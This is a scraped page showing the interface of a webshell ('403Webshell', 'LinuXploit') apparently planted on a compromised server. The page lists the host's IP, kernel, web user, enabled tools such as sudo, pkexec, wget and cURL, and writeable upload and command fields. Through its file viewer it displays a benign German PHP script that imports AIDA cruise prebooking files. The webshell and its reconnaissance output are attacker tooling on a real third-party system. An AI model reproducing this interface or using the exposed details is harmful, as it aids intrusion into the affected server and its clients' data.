403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client1/seaside2.pacim.de/web/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client1/seaside2.pacim.de/web/scripts/import-prebookings.php
<?php
/**
 * AIDA-Vorbucherlisten importieren.
 *
 * Liest alle Dateien aus data/aida ein, schreibt die Cruise-Zähler nach
 * aida_prebookings und verschiebt verarbeitete Dateien nach data/trash/YYYY-MM-DD/.
 * Nach dem Import wird AidaPrebooking::syncToEvents() ausgeführt, damit neue
 * Cruise-IDs auf passende Events übertragen werden.
 *
 * Aufruf:
 *   php scripts/import-prebookings.php
 */

if (PHP_SAPI !== 'cli') {
    fwrite(STDERR, "Bitte nur über die Kommandozeile aufrufen.\n");
    exit(1);
}

$root = dirname(__DIR__);
require_once $root . '/app/core/Database.php';
require_once $root . '/app/models/AidaPrebooking.php';
require_once $root . '/app/services/PrebookingImporter.php';

$db = new Database();
$importer = new PrebookingImporter($db, $root . '/data');
$stats = $importer->processInbox();

printf("Verarbeitet: %d, Duplikate: %d, Touren importiert: %d\n",
    $stats['processed'], $stats['skipped'], $stats['rows']);
foreach ($stats['files'] as $f) {
    printf("  %s → %s%s\n",
        $f['file'],
        $f['result']['status'],
        isset($f['result']['rows']) && $f['result']['rows'] > 0 ? " ({$f['result']['rows']} Touren)" : ''
    );
}

Youez - 2016 - github.com/yon3zu
LinuXploit